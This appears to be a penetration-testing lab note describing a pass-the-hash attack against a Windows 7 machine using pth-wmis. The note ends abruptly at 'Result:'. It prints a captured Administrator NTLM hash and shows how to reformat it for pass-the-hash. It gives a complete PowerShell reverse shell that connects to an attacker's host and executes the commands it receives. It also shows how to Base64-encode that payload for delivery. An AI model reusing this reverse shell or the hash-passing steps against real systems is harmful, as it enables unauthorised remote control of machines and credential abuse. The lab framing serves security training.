Resource:

Combined PowerShell and CMD Reverse Shell

Purpose:

Test the use of the "Combined PowerShell and CMD Reverse Shell" together with the Pass-The-Hash version of wmis (pth-wmis).

Attacking Box:

32bit Offsec VM - Kali

Target Box:

Windows 7 Professional Service Pack 1

We Have A Hash

From another compromised box on the same network we have captured the local Administrator's hash:

Administrator:500:NO PASSWORD*********************:DC4BD458EDB0D834A5775F69453F2216:::

Rather than spend excessive time cracking it we are going to use a Pass-The-Hash attack.

Replace the NO PASSWORD**... text with a blank LM Hash:
aad3b435b51404eeaad3b435b51404ee:DC4BD458EDB0D834A5775F69453F2216

Grab The PowerShell Component:

The first thing that we need to do is to grab the PowerShell component from the "Combined PowerShell and CMD Reverse Shell"

$ps=$false;$hostip=(gci -path env:HOSTIP).value;$port=(gci -path env:EXP1).value;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray=@('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Base64 Encode It: 

The PowerShell not only needs to be Base64 encoded but it also needs to be Unicode encoded first. Personally I like to put what I need encoded into a command.txt file and then use PowerShell to encode it:

$fileName = "command.txt"
$fileContent = get-content $fileName
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText | set-content ($fileName + ".b64")

The result is in a file called command.txt.b64.
Result:
